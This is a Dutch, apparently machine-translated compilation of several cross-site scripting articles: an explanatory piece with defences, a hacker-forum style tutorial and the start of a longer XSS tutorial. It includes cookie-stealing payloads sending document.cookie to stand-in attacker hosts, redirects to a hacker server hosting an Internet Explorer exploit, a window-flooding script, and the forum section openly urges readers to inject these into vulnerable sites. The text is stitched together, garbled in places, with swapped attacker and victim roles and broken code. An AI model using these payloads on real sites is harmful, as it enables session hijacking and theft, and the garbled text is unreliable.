Ory Segal

Ontdek hoe hackers cross-site scripting-aanvallen gebruiken, wat ze wel en niet beschadigen, hoe u ze kunt opmerken en hoe u uw website en de bezoekers ervan kunt beschermen tegen deze kwaadaardige inbreuken op de privacy en de beveiliging.

Cross-site scripting (of kortweg XSS) is een van de meest voorkomende aanvallen op applicatieniveau die hackers gebruiken om webapplicaties binnen te dringen. XSS is een aanval op de privacy van klanten van een bepaalde website. Het kan leiden tot een volledige storing van het beveiligingssysteem wanneer klantgegevens worden gestolen en in de toekomst voor een bepaald doel worden gebruikt. Bij de meeste aanvallen zijn twee partijen betrokken: een aanvaller en een website, of een aanvaller en een slachtoffercliënt. Bij een XSS-aanval zijn echter drie partijen betrokken: de aanvaller, de klant en de website.

Het doel van een XSS-aanval is het stelen van cookies of andere cookies van de computer van de klant. vertrouwelijke informatie, waarmee een klant op een website kan worden geïdentificeerd. Met informatie om hem als een legitieme gebruiker te identificeren, kan een aanvaller op de site als een dergelijke gebruiker optreden, d.w.z. doe alsof je hem bent. Tijdens een audit bij een groot bedrijf was het bijvoorbeeld mogelijk om deze te verkrijgen privé-informatie gebruiker en zijn nummer creditcard. Dit werd bereikt door te rennen speciale code in JavaScript. Deze code werd uitgevoerd in de browser van het slachtoffer (klant), die toegangsrechten had tot de website. Er is een zeer beperkt aantal JavaScript-rechten die het script geen toegang geven tot iets anders dan sitespecifieke informatie. Het is belangrijk te benadrukken dat hoewel het beveiligingslek zich op de website bevindt, de website zelf niet direct beschadigd is. Maar dit is voldoende voor het script om cookies te verzamelen en naar de aanvaller te sturen. Hierdoor krijgt de aanvaller de benodigde gegevens en kan hij het slachtoffer imiteren.

Laten we de aangevallen site de volgende naam geven: www.vulnerable.site. Een traditionele XSS-aanval is afhankelijk van een kwetsbaar script dat zich op een kwetsbare website bevindt. Dit script leest een deel van een HTTP-verzoek (meestal parameters, maar soms ook HTTP-headers of pad) en herhaalt dit voor de responspagina, geheel of slechts een deel. Hiermee wordt het verzoek niet opgeschoond (d.w.z. er wordt niet gecontroleerd of het verzoek geen JavaScript-code of HTML-tags bevat). Laten we zeggen dat dit script welkom.cgi heet en dat de parameter de naam is. Het kan als volgt worden gebruikt:

Hoe kan hier misbruik van worden gemaakt? De aanvaller moet de klant (slachtoffer) kunnen verleiden om op de link te klikken die de aanvaller hem verstrekt. Dit is een zorgvuldig en kwaadwillig vervaardigde link die ervoor zorgt dat de webbrowser van het slachtoffer toegang krijgt tot een website (www.vulnerable.site) en een kwetsbaar script uitvoert. De gegevens voor dit script bevatten JavaScript-code die toegang krijgt tot de cookies die zijn opgeslagen door de browser van de klant voor de site www.vulnerable.site. Dit is toegestaan ​​omdat de browser van de klant "denkt" dat de JavaScript-code afkomstig is van www.vulnerable.site. Een model JavaScript-beveiliging Geeft scripts die afkomstig zijn van een specifieke site toegang tot cookies die bij die site horen.

Het antwoord van de kwetsbare locatie zal als volgt zijn:

Welkom! Hallo alert(document.cookie) Welkom bij ons systeem...

De browser van de slachtofferclient interpreteert dit verzoek als een HTML-pagina met een stukje JavaScript-code. Wanneer deze code wordt uitgevoerd, heeft deze toegang tot alle cookies van de site www.vulnerable.site. Als gevolg hiervan zal er een pop-upvenster in de browser worden geactiveerd waarin alle cookies van de klant worden weergegeven die verband houden met www.kwetsbare.site.

Zeker, echte aanval zou inhouden dat deze bestanden naar de aanvaller worden verzonden. Om dit te doen, kan een aanvaller een website maken (www.attacker.site) en een script gebruiken om cookies te ontvangen. In plaats van een pop-upvenster op te roepen, zou de aanvaller code schrijven die toegang krijgt tot de URL naar www.attacker.site. Hierbij wordt een script uitgevoerd om cookies te verkrijgen. De parameter voor dit script zijn gestolen cookies. Zo kan een aanvaller cookies verkrijgen van de server www.attacker.site.

Onmiddellijk na het laden van deze pagina voert de browser de daar ingevoegde JavaScript-code uit en stuurt het verzoek door naar het collect.cgi-script op www.attacker.site, samen met de waarde van de cookies van www.vulnerable.site die de browser al heeft. Dit ondermijnt de veiligheid van de www.vulnerable.site-cookies die de klant heeft. Hierdoor kan de aanvaller zich voordoen als het slachtoffer. De vertrouwelijkheid van de cliënt wordt volledig geschonden.

Opmerking.
Meestal wordt een pop-upvenster aangeroepen met met behulp van JavaScript is voldoende om de kwetsbaarheid van de site voor een XSS-aanval aan te tonen. Als u kunt bellen vanuit JavaScript Waarschuwingsfunctie, dan is er meestal geen reden waarom de oproep mislukt. Daarom maken de meeste voorbeelden van XSS-aanvallen gebruik van de Alert-functie, waardoor het succes van de aanval heel eenvoudig te bepalen is.

De aanval kan alleen plaatsvinden in de browser van het slachtoffer, dezelfde browser die wordt gebruikt om toegang te krijgen tot de site (www.vulnerable.site). De aanvaller moet de client dwingen toegang te krijgen tot kwaadaardige link. Dit kan op verschillende manieren worden bereikt.

• De aanvaller stuurt e-mail een bericht met een HTML-pagina die ervoor zorgt dat de browser een link opent. Hiervoor moet het slachtoffer een e-mailclient gebruiken die overweg kan met HTML. En de HTML-viewer op de client moet dezelfde browser zijn die wordt gebruikt om toegang te krijgen tot www.vulnerable.site.

• De cliënt bezoekt een site, mogelijk gemaakt door een aanvaller, waarop een link staat naar een afbeelding of iets anders actief onderdeel HTML dwingt de browser om de link te openen. Ook in dit geval is het verplicht dat dezelfde browser wordt gebruikt om toegang te krijgen tot zowel deze site als de site www.vulnerable.site.

Schadelijke JavaScript-code heeft toegang tot de volgende informatie:

• permanente cookies (van de website www.vulnerable.site), die door de browser worden opgeslagen;
• koekjes erin RAM(site www.vulnerable.site), die alleen door de browserinstantie worden ondersteund bij het bekijken van de site www.vulnerable.site;
• namen van andere geopende vensters voor de site www.vulnerable.site.
• alle informatie die beschikbaar is via de huidige DOM-model(uit waarden, HTML-code, enz.).

Identificatie-, autorisatie- en authenticatiegegevens worden doorgaans opgeslagen in de vorm van cookies. Als deze bestanden cookies permanent, dan is het slachtoffer kwetsbaar voor aanvallen, zelfs als hij geen browser gebruikt bij het bezoeken van de site www.vulnerable.site. Als de cookies echter tijdelijk zijn (ze worden bijvoorbeeld in RAM opgeslagen), dan moet er aan de clientzijde een sessie plaatsvinden met de site www.kwetsbare.site.

Een andere mogelijke implementatie van een identificatielabel is de URL-parameter. In dergelijke gevallen kunt u als volgt toegang krijgen tot andere vensters met JavaScript (uitgaande van de paginanaam met de noodzakelijke parameters URL - foobar):

var slachtoffer_window=open(","foobar");alert("Heeft toegang tot: " +slachtoffervenster.locatie.zoeken)

Om een ​​JavaScript-script uit te voeren, kunt u veel andere HTML-tags gebruiken dan . In werkelijkheid, kwaadaardige code JavaScript kan ook op een andere server worden gehost en de client vervolgens het script laten downloaden en uitvoeren. Dit kan handig zijn als u een grote hoeveelheid code moet uitvoeren of als de code speciale tekens bevat.

Hier zijn enkele varianten van deze mogelijkheden.

• In plaats van... kunnen hackers de . Dit is geschikt voor sites die de HTML-tag filteren.

• In plaats van ... kun je de constructie gebruiken. Dit is goed in situaties waarin de JavaScript-code te lang is of als deze illegale tekens bevat.

Soms bevinden de gegevens die zijn ingesloten op de antwoordpagina zich in betaalde HTML-context. In dit geval moet u eerst "ontsnappen" naar de vrije context en vervolgens een XSS-aanval uitvoeren. Als gegevens bijvoorbeeld worden ingevoegd als de standaardwaarde voor een HTML-formulierveld:

En de resulterende HTML-code zal als volgt zijn:

raam.open ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)"> Tot nu toe hebben we gezien dat een XSS-aanval kan plaatsvinden in de GET-verzoekparameter waarop het script reageert. Maar je kunt ook een aanval uitvoeren met een POST-verzoek of met behulp van de path-component HTTP-verzoek, en zelfs het gebruik van enkele HTTP-headers (zoals Referer). De padcomponent is met name handig wanneer de foutpagina een ongeldig pad retourneert. In dit geval zal het opnemen van een kwaadaardig script in het pad er vaak voor zorgen dat het wordt uitgevoerd. Veel webservers zijn kwetsbaar voor deze aanval. Het is belangrijk om te begrijpen dat, hoewel de website niet rechtstreeks door deze aanval wordt getroffen (deze blijft normaal functioneren, er geen kwaadaardige code op wordt uitgevoerd), DoS-aanval niet plaatsvindt en gegevens van de site niet rechtstreeks worden uitgelezen of dat er niet mee wordt geknoeid), is dit nog steeds een inbreuk op het beveiligingssysteem dat de site aan haar klanten of bezoekers biedt. Dit is vergelijkbaar met een site die wordt gebruikt om een ​​applicatie met zwakke beveiligingslabels te implementeren. Hierdoor kan een aanvaller het beveiligingslabel van de klant raden en zich voordoen als hem (of haar). Het zwakke punt in de applicatie is het script, dat zijn parameter retourneert, ongeacht de waarde ervan. Een goed script moet ervoor zorgen dat de parameter juiste formaat dat het acceptabele tekens bevat, enz. Daar is meestal geen reden voor juiste parameter bevatte HTML-tags of JavaScript-code. Ze moeten uit de parameter worden verwijderd voordat deze in het antwoord kan worden geïnjecteerd of in de toepassing kan worden gebruikt. Dit zal de veiligheid garanderen. Er zijn drie manieren om uw website te beschermen tegen XSS-aanvallen. Door uw eigen filtering van invoergegevens uit te voeren (ook wel invoeropschoning genoemd). Voor elke gebruikersinvoer (of het nu een parameter of een HTML-header is) moet elk zelfgeschreven script geavanceerde filtering gebruiken tegen HTML-tags, inclusief JavaScript-code. Het script Welcome.cgi uit het vorige voorbeeld moet bijvoorbeeld de tag filteren na het decoderen van de parameter name. Deze methode heeft verschillende ernstige nadelen. Het vereist de applicatieprogrammeur goede kennis beveiligingstechnologieën. Het vereist dat de programmeur alles afdekt mogelijke bronnen invoergegevens (queryparameters, lichaamsparameters POST-verzoeken, HTTP-headers). Het biedt geen bescherming tegen kwetsbaarheden in scripts of servers van derden. Het biedt bijvoorbeeld geen bescherming tegen problemen met foutpagina's op webservers (die het bronpad weergeven). Het uitvoeren van "uitvoerfiltering", d.w.z. het filteren van gebruikersgegevens wanneer deze worden teruggestuurd naar de browser, niet wanneer het script deze ontvangt. Een goed voorbeeld Deze aanpak zou een script kunnen zijn dat gegevens in de database invoegt en deze vervolgens weergeeft. In dit geval is het belangrijk om het filter niet op de originele invoertekenreeks toe te passen, maar alleen op de uitvoerversie. De nadelen van deze methode zijn vergelijkbaar met die van invoerfiltering. Een applicatiefirewall van derden (firewall) installeren. Dit scherm onderschept XSS-aanvallen voordat ze de webserver en kwetsbare scripts bereiken en blokkeert deze. Applicatiefirewalls kunnen alle invoermethoden dekken door ermee te werken op een algemene manier(inclusief pad- en HTTP-headers), ongeacht het script of pad van een native applicatie, een script van een derde partij of een script dat helemaal geen bronnen beschrijft (bijvoorbeeld bedoeld om een ​​404-antwoordpagina van de server te activeren). Voor elke invoerbron controleert de applicatiefirewall de gegevens op verschillende patronen van HTML-tags en JavaScript-code. Als er overeenkomsten zijn, wordt het verzoek geblokkeerd en bereiken schadelijke gegevens de server niet. De logische conclusie van het beschermen van een website is het controleren van de beveiliging ervan tegen XSS-aanvallen. Net als bij het beschermen van een site tegen XSS, kan het controleren van het beveiligingsniveau handmatig (op de moeilijke manier) worden gedaan, of met behulp van een geautomatiseerd hulpmiddel voor het beoordelen van de kwetsbaarheid van webapplicaties. Deze tool neemt de last van de verificatie van uw schouders. Dit programma beweegt zich over de site en voert alle opties uit die het kent voor alle scripts die het detecteert. Hiermee worden alle parameters, headers en paden geprobeerd. Bij beide methoden wordt elke invoer in de applicatie (parameters van alle scripts, HTTP-headers, paden) met zoveel mogelijk opties gecontroleerd. En als de responspagina JavaScript-code bevat in een context waarin de browser deze kan uitvoeren, verschijnt er een XSS-kwetsbaarheidsbericht. Bijvoorbeeld bij het verzenden van de volgende tekst: alert(document.cookie) Voor elke parameter van elk script (via een browser met JavaScript-mogelijkheden om de eenvoudigste vorm van XSS-kwetsbaarheid te detecteren), zal de browser een JavaScript-waarschuwingsvenster weergeven als de tekst wordt geïnterpreteerd als JavaScript-code. Natuurlijk zijn er verschillende opties. Daarom is het niet voldoende om alleen deze optie te testen. En zoals u al heeft geleerd, kunt u JavaScript-code in verschillende aanvraagvelden invoegen: parameters, HTTP-headers en pad. In sommige gevallen (vooral met de HTTP Referer-header) is het echter lastig om een ​​aanval uit te voeren met een browser. Cross-site scripting is een van de meest voorkomende aanvallen op applicatieniveau die hackers gebruiken om webapplicaties binnen te dringen. Het is ook het gevaarlijkst. Dit is een aanval op de privacy van klanten van een bepaalde website. Het kan leiden tot volledige vernietiging van het beveiligingssysteem wanneer klantgegevens worden gestolen en in de toekomst voor een bepaald doel worden gebruikt. Helaas wordt dit, zoals dit artikel uitlegt, vaak gedaan zonder medeweten van de klant of organisatie die wordt aangevallen. Om te voorkomen dat websites kwetsbaar worden voor deze kwaadaardige activiteiten, is het belangrijk dat een organisatie zowel een online als offline beveiligingsstrategie implementeert. Dit omvat een geautomatiseerde kwetsbaarheidscontrole die kan testen op alle bekende kwetsbaarheden op websites bepaalde toepassingen(bijvoorbeeld cross-site scripting) op de site. Voor volledige online bescherming is het ook essentieel om een ​​firewall te installeren die elke vorm van manipulatie van de code en gegevens die zich op of achter webservers bevinden, kan detecteren en blokkeren.

• Categorie: Geen categorie

’, en vele anderen. Eerst wordt de waarde van de variabele doorgegeven vanaf de HTML-pagina die in de browser is geladen...

XSS voor beginners. Doel van XSS-aanvallen

Groeten, lieve bezoekers Portaal! Mijn naam is DrWeb. Ik wil je vertellen over het doel van XSS-aanvallen, omdat XSS-kwetsbaarheden een veel grotere bedreiging vormen dan alleen het stelen van cookies. Eerste dingen eerst...

Eerst over XSS in het algemeen. De afkorting XSS staat voor Cross Site Scripting. Het is gebruikelijk om het XSS te noemen, en niet CSS, omdat CSS veel eerder werd geïntroduceerd en het Cascading Style Sheets betekent - "cascading style sheets" (gebruikt bij het ontwerp van HTML-pagina's). Сross is een “kruis”, dus de eerste letter bij “cross-site scripting” wordt vervangen door “X”.

XSS is een kwetsbaarheid op de server waarmee u willekeurige code kunt insluiten in een HTML-pagina die is gegenereerd door scripts op de server (niet in een script, in tegenstelling tot PERL- of PHP-opname) door deze door te geven als de waarde van een ongefilterde variabele. (TRINUX heeft dit type aanval goed beschreven in de artikelen: http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 en http://www.hackzona.ru/ hz.php?name=Nieuws&file=artikel&sid=3490&mode=&order=0&thold=0). Een “ongefilterde” variabele is een variabele die niet wordt gecontroleerd op illegale tekens zoals ,’,” en vele andere voordat deze in een script (bijvoorbeeld PHP) wordt gebruikt. Eerst wordt de waarde van de variabele overgebracht van de HTML-pagina die in de browser van de gebruiker is geladen naar het PHP-script (via een POST- of GET-verzoek). Het POST-verzoek geeft variabelen door via een array die niet wordt weergegeven in adresbalk browser; Een GET-verzoek verschijnt als volgt in de adresbalk:

http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0

Het hz.php-script krijgt dus de volgende variabelen: $name - met de waarde "News", $file - met de waarde "article", $sid - met de waarde "3499" enz... Uiteraard is het Het is handiger om met GET-verzoeken te werken, daarom slaat de hacker de pagina van de site die wordt gehackt op in een regel als

POST wordt vervangen door GET. Vervolgens genereert het PHP-script bijvoorbeeld een HTML-pagina waarin het zonder enige filtering de waarde van een van de overgedragen variabelen weergeeft. MAAR! Als een aanvaller bij het opstellen van een GET-verzoek enkele sleuteltags (bijvoorbeeld of ) vervangt in plaats van de gebruikelijke variabelewaarde, dan zullen deze door de tolk worden uitgevoerd!

Het gebeurt gewoon zo dat de meeste computerhooligans XSS alleen gebruiken om cookies te stelen (cookies - in de meeste gevallen slaan ze een sessie op, nadat ze zich deze hebben toegeëigend, kan de aanvaller op de site zijn onder het account van iemand anders, bijvoorbeeld in een forum waar registratie is vereist vereist. Ze slaan ook een gecodeerd wachtwoord op, waardoor de pestkop het account voor 100% kan overnemen. Maar XSS-bugs beperken zich niet tot cookiediefstal.

Eigenlijk de slotparagraaf :).

Wat kunnen we dankzij XSS-kwetsbaarheden doen?

1) Allerlei trucs die verband houden met het beperken van gebruikers van normale activiteiten op de site. Bijvoorbeeld het weergeven van een oneindig aantal vensters (voorbeeld hieronder) of berichten (bevestigings- of waarschuwingsmethode), als gevolg van een gebruikersactie (klikken, met de muis over een object bewegen, gewoon de site bezoeken). Of omleiding naar een ander knooppunt. Probeer deze code (zonder aanpassingen) in de kwetsbare site te injecteren:

window.location.href=\»http://hackzona.ru\»

Probeer ook het volgende script, nadat u het eerst op uw computer hebt getest. Maak bestand 1.html met de volgende inhoud:

for (i=1;i]0;i++)(oren(\’1.html\’,\’nieuw\’+i);)

en open het in elke browser.

2) Diefstal van vertrouwelijke bezoekersinformatie. Allereerst zal ik de diefstal van cookies (document.cookie) opnemen als het belangrijkste kenmerk van gebruikersbeveiliging (in deze sectie). Deze sectie omvat ook de diefstal van informatie over het systeem en de browser van de gebruiker ( navigatieobject), huidige tijd, IP-adres, evenals de geschiedenis van bezochte sites (geschiedenisobject als array; huidige paginageschiedenis, vorige geschiedenis [-1], totaal aantal pagina's history.length) en nog veel meer. Hier is een voorbeeld van een script dat het IP-adres van de bezoeker retourneert naar de IP-variabele en de computernaam naar de hostvariabele (getest in Opera, Mozilla, Mizilla Firefox):

mijnAddress=java.net.InetAddress.getLoсalHost();

mijnAddress2=java.net.InetAddress.getLoсalHost();

host=mijnAdres.getHostName();

ip=mijnAddress2.getHostAddress();

3) Alles wat CGI-, PERL-, PHP- en ASP-scripts kunnen doen. En dit is alles wat JS kan doen + een heleboel leuke kleine dingen. Dat wil zeggen, dit is de tweede manier om vertrouwelijke informatie te stelen. Het is veel handiger, omdat... je hoeft niet alle code in de HTML-pagina in te sluiten via een sleutelvariabele, maar alleen een link naar het script; Bovendien hebben deze skipts meer mogelijkheden. Het nadeel is dat dit een meer gebrekkige (indien irrationeel gebruikt) en onbeweeglijke methode is, vooral omdat het slachtoffer op de een of andere manier een ongewenste download kan detecteren. U implementeert bijvoorbeeld de volgende code in een HTML-pagina:

window.location.href=\»http://hackzona.ru/haсkerssсriрt.php\»

Hier is hackzona.ru de server van de hacker en haskerssсriрt.php het script van de hacker dat bepaalde acties uitvoert. Nadat het slachtoffer de gehackte pagina heeft bezocht, wordt hij doorgestuurd naar het script http://hackzona.ru/haсkerssсriрt.php, dat zijn werk zal doen (als het slachtoffer de download niet onderbreekt). Natuurlijk zijn er minder smerige manieren om scripts te laden dan window.location.href; Ik heb het ter sprake gebracht om het duidelijk te maken.

4) Browsermogelijkheden die niet door de standaard worden geboden. Er zijn veel browserkwetsbaarheden die, bij het verwerken van welke code dan ook, DoS veroorzaken of daar toegang toe verschaffen bepaalde bestanden, of toestaan ​​dat willekeurige code wordt uitgevoerd op het systeem van de gebruiker, of iets anders dat niet erg prettig is voor de gebruiker. Veel bekende en veelgebruikte browsers (Internet Explorer, Netscare, Mozilla, Mozilla Firefox, Opera en alles wat op hun motoren is gemaakt) zijn kwetsbaar. Slechts enkele van hun versies of gepatchte browsers zijn onkwetsbaar. Vrij recent (op het moment van schrijven) ontdekte Benjamin Tobias Franz een kritieke kwetsbaarheid in de Internet Explorer-browser (v5.5, 6.0), waardoor willekeurige code op het systeem van de gebruiker kan worden uitgevoerd. Hoe kun je willekeurige code uitvoeren op een gebruiker die een site heeft bezocht met een XSS-kwetsbaarheid? Laten we een exploit, geschreven door Stuart Person (je kunt hem hier vandaan halen: myphp4.h15.ru/0day-explorer.rar of van de site securitylab.ru), bestaande uit vier htm- en één html-bestand, uploaden naar onze server, voor bijvoorbeeld coolhacker. We zullen de volgende code op de kwetsbare site implementeren

window.location.href=\"http://coolhaсker.yo/0day.html\"

Nu wordt het slachtoffer, nadat het de serverpagina heeft bezocht waarin we de code hebben ingesloten, doorgestuurd naar de exploitpagina http://coolhaсker.yo/0day.html, die willekeurige code zal uitvoeren (in ons geval zal het calc starten .exe).

En is een uitgebreide tutorial over cross-site scripting.

Deel één: Overzicht Wat is XSS?

Cross-site scripting ( Engels Cross-site scripting) is een code-injectieaanval waarmee een aanvaller kwaadaardig JavaScript kan uitvoeren in de browser van een andere gebruiker.

De aanvaller valt zijn slachtoffer niet rechtstreeks aan. In plaats daarvan maakt het misbruik van een kwetsbaarheid in de website die het slachtoffer bezoekt en injecteert kwaadaardige JavaScript-code. In de browser van het slachtoffer verschijnt het kwaadaardige JavaScript als een legitiem onderdeel van de website, en de website zelf fungeert als directe medeplichtige van de aanvaller.

Injectie van kwaadaardige JavaScript-code

De enige manier waarop een aanvaller kwaadaardig JavaScript in de browser van een slachtoffer kan uitvoeren, is door het in een van de pagina's te injecteren die het slachtoffer van de website laadt. Dit is mogelijk als een website gebruikers toestaat gegevens op de pagina's in te voeren en de aanvaller een string kan invoegen die wordt gedetecteerd als onderdeel van de code in de browser van het slachtoffer.

Het onderstaande voorbeeld toont een eenvoudig server-side script dat wordt gebruikt om de laatste reactie op een site weer te geven:

afdrukken ""
print "Laatste opmerking:"
print database.latestComment
afdrukken ""

Het script gaat ervan uit dat het commentaar alleen uit tekst bestaat. Omdat directe gebruikersinvoer echter is ingeschakeld, kan een aanvaller deze opmerking achterlaten: "..." . Elke gebruiker die de pagina bezoekt, ontvangt nu het volgende antwoord:

Laatste opmerking:
...

Wanneer de browser van de gebruiker de pagina laadt, wordt alles uitgevoerd, inclusief de JavaScript-code in het . De aanvaller voerde de aanval met succes uit.

Wat is kwaadaardig JavaScript?

Mogelijkheid JavaScript-uitvoering verschijnt mogelijk niet bijzonder kwaadaardig in de browser van het slachtoffer. JavaScript draait in een zeer beperkte omgeving die zeer beperkte toegang heeft tot de bestanden van de gebruiker besturingssysteem. Sterker nog, je kunt openen JavaScript-console in uw browser en voer elk gewenst JavaScript uit, en het is zeer onwaarschijnlijk dat u enige schade aan uw computer kunt toebrengen.

De mogelijkheid dat JavaScript-code als kwaadaardige code kan fungeren, wordt echter duidelijker als u de volgende feiten in ogenschouw neemt:

• JavaScript heeft toegang tot bepaalde gevoelige gebruikersinformatie, zoals cookies.
• JavaScript kan HTTP-verzoeken met willekeurige inhoud in elke richting verzenden met behulp van XMLHttpRequest en andere mechanismen.
• JavaScript kan willekeurige wijzigingen aanbrengen in de HTML-code van de huidige pagina met behulp van DOM-manipulatietechnieken.

Gecombineerd kunnen deze feiten zeer ernstige veiligheidsschendingen veroorzaken; details volgen nog.

Gevolgen van kwaadaardige JavaScript-code

Bovendien biedt de mogelijkheid om willekeurig JavaScript uit te voeren in de browser van een andere gebruiker de aanvaller de mogelijkheid om dat te doen volgende typen aanvallen:

Koekjesdiefstal

een aanvaller kan met behulp van document.cookie toegang krijgen tot de websitegerelateerde cookies van het slachtoffer en deze naar hun eigen server en gebruik ze om gevoelige informatie zoals sessie-ID's te extraheren.

Keylogger

Een aanvaller kan een toetsenbordgebeurtenislistener registreren met behulp van addEventListener en vervolgens alle toetsaanslagen van de gebruiker naar de server sturen, waarbij mogelijk gevoelige informatie wordt vastgelegd, zoals wachtwoorden en creditcardnummers.

Phishing

een aanvaller zou een nep-inlogformulier in een pagina kunnen invoegen met behulp van DOM-manipulatie, de actiekenmerken van het formulier op zijn eigen server kunnen instellen en de gebruiker vervolgens kunnen misleiden om gevoelige informatie te verkrijgen.

Hoewel deze aanvallen aanzienlijk verschillen, hebben ze allemaal één belangrijke overeenkomst: aangezien de aanvaller code injecteert in de pagina die door de website wordt bediend, wordt het kwaadaardige JavaScript uitgevoerd in de context van die website. Dit betekent dat het wordt behandeld als elk ander script van die site: het heeft toegang tot de gegevens van het slachtoffer voor die website (zoals cookies) en de hostnaam die wordt weergegeven in URL-tekenreeks zal hetzelfde zijn als de website. In alle opzichten wordt het script beschouwd als een legaal onderdeel van de website, waardoor het alles kan doen wat de website zelf ook kan doen.

Dit feit benadrukt een belangrijk probleem:

Als een aanvaller uw website kan gebruiken om willekeurige JavaScript-code uit te voeren in de browsers van andere gebruikers, komt de veiligheid van uw website en de gebruikers ervan in gevaar.

Om dit punt te benadrukken, zullen enkele kwaadaardige scriptvoorbeelden in deze tutorial zonder details worden gelaten, met behulp van.... Dit suggereert dat alleen al de aanwezigheid van een script dat door een aanvaller wordt geïnjecteerd een probleem is, ongeacht welke specifieke scriptcode daadwerkelijk wordt uitgevoerd.

Deel twee: XSS-aanval Deelnemers aan de XSS-aanval

Voordat we in detail beschrijven hoe een XSS-aanval werkt, moeten we de actoren definiëren die betrokken zijn bij een XSS-aanval. Over het algemeen zijn er drie partijen bij een XSS-aanval: de website, het slachtoffer en de aanvaller.

• De website biedt HTML-pagina's aan gebruikers die daarom vragen. In onze voorbeelden bevindt deze zich op http://website/.
  • Een websitedatabase is een database waarin een deel van de gegevens wordt opgeslagen die door gebruikers op de pagina's van een site zijn ingevoerd.
• Het slachtoffer is regelmatige gebruiker website die pagina’s opvraagt ​​met behulp van zijn browser.
• Een aanvaller is een aanvaller die een aanval wil uitvoeren op een slachtoffer door misbruik te maken van een XSS-kwetsbaarheid in een website.
  • De server van een aanvaller is een webserver die wordt beheerd door een aanvaller met als enig doel de vertrouwelijke informatie van het slachtoffer te stelen. In onze voorbeelden bevindt deze zich op http://attacker/.

Voorbeeld aanvalsscenario

window.location="http://attacker/?cookie="+document.cookie

Dit script creëert een HTTP-verzoek naar een andere URL, waardoor de browser van de gebruiker wordt omgeleid naar de server van de aanvaller. De URL bevat de cookies van het slachtoffer als verzoekparameter. Wanneer een HTTP-verzoek bij de server van de aanvaller binnenkomt, kan de aanvaller deze cookies uit het verzoek halen. Zodra de aanvaller de cookies heeft ontvangen, kan hij deze gebruiken om zich voor te doen als het slachtoffer en een volgende aanval uit te voeren.

Vanaf nu wordt de hierboven weergegeven HTML-code een kwaadaardige string of een kwaadaardig script genoemd. Het is belangrijk om te begrijpen dat de string zelf alleen schadelijk is als deze uiteindelijk als HTML wordt weergegeven in de browser van het slachtoffer, en dit kan alleen gebeuren als er een XSS-kwetsbaarheid op de website aanwezig is.

Hoe deze voorbeeldaanval werkt

Het onderstaande diagram toont een voorbeeld van een aanval door een aanvaller:

De aanvaller gebruikt een van de formulieren van de website om een ​​kwaadaardige string in de database van de website in te voegen.

Het slachtoffer vraagt ​​een pagina van een website op.

De site neemt een kwaadaardige databasestring op in het antwoord en stuurt deze naar het slachtoffer.

De browser van het slachtoffer voert een kwaadaardig script uit in het antwoord en stuurt de cookie van het slachtoffer naar de server van de aanvaller.

XSS-typen

Het doel van een XSS-aanval is altijd het uitvoeren van kwaadwillige aanvallen JavaScript-script in de browser van het slachtoffer. Er zijn verschillende fundamenteel verschillende manieren om dit doel te bereiken. XSS-aanvallen worden vaak onderverdeeld in drie typen:

• Opgeslagen (persistente) XSS, waarbij de kwaadaardige string afkomstig is uit de database van de website.
• Gereflecteerde (niet-persistente) XSS, waarbij de kwaadaardige string wordt gegenereerd op basis van het verzoek van het slachtoffer.
• XSS DOM's, waarbij de kwetsbaarheid zich voordoet in code aan de clientzijde in plaats van code aan de serverzijde.

Het vorige voorbeeld toont een opgeslagen XSS-aanval. We zullen nu twee andere soorten XSS-aanvallen beschrijven: gereflecteerde XSS- en DOM XSS-aanvallen.

Gereflecteerde XSS

Bij een gereflecteerde XSS-aanval maakt de kwaadaardige string deel uit van het verzoek van het slachtoffer aan de website. De site accepteert deze kwaadaardige string en voegt deze toe aan het antwoord dat naar de gebruiker wordt teruggestuurd. Het onderstaande diagram illustreert dit scenario:

Het slachtoffer verleidt de aanvaller om een ​​URL-verzoek naar de website te sturen.

De site neemt een kwaadaardige string uit het URL-verzoek op in het antwoord aan het slachtoffer.

De browser van het slachtoffer voert het kwaadaardige script in het antwoord uit en stuurt de cookies van het slachtoffer naar de server van de aanvaller.

Hoe voer je een gereflecteerde XSS-aanval succesvol uit?

Een gereflecteerde XSS-aanval lijkt misschien onschuldig, omdat het slachtoffer daarvoor namens hem een ​​verzoek moet verzenden dat een kwaadaardige string bevat. Omdat niemand zichzelf vrijwillig zou aanvallen, lijkt er geen manier te zijn om de aanval daadwerkelijk uit te voeren.

Het blijkt dat die er zijn ten minste Twee veel voorkomende manieren om een ​​slachtoffer te misleiden zodat hij een gereflecteerde XSS-aanval tegen zichzelf uitvoert, zijn:

• Als de gebruiker een specifieke persoon is, kan de aanvaller een kwaadaardige URL naar het slachtoffer sturen (bijvoorbeeld via e-mail of instant messenger) en hem ertoe verleiden de link te openen om de website te bezoeken.
• Als het doel is grote groep gebruikers kan een aanvaller een link naar een kwaadaardige URL plaatsen (bijvoorbeeld op zijn eigen website of sociaal netwerk) en wacht tot bezoekers de link volgen.

Beide methoden zijn vergelijkbaar en beide kunnen succesvoller zijn als u URL-verkortingsservices gebruikt die de kwaadaardige reeks maskeren voor gebruikers die deze mogelijk kunnen identificeren.

XSS in de DOM

XSS in de DOM is een variant van zowel opgeslagen als gereflecteerde XSS-aanvallen. Bij deze XSS-aanval wordt de kwaadaardige string pas door de browser van het slachtoffer verwerkt als het eigenlijke JavaScript van de website wordt uitgevoerd. Het onderstaande diagram illustreert dit scenario voor een gereflecteerde XSS-aanval:

De aanvaller maakt een URL met daarin een kwaadaardige string en stuurt deze naar het slachtoffer.

Het slachtoffer verleidt de aanvaller om een ​​URL-verzoek naar de website te sturen.

De site accepteert het verzoek, maar neemt de kwaadaardige tekenreeks niet op in het antwoord.

De browser van het slachtoffer presteert legitiem script in het antwoord, resulterend in kwaadaardig script wordt in de pagina ingevoegd.

De browser van het slachtoffer voert een kwaadaardig script uit dat in de pagina wordt ingevoegd en stuurt de cookies van het slachtoffer naar de server van de aanvaller.

Wat is het verschil tussen XSS in de DOM?

In eerdere voorbeelden van opgeslagen en gereflecteerde XSS-aanvallen voegt de server een kwaadaardig script in een pagina in, dat vervolgens als reactie naar het slachtoffer wordt doorgestuurd. Wanneer de browser van het slachtoffer het antwoord ontvangt, gaat deze ervan uit dat het kwaadaardige script deel uitmaakt van de legitieme inhoud van de pagina en voert het automatisch uit terwijl de pagina wordt geladen, net als elk ander script.

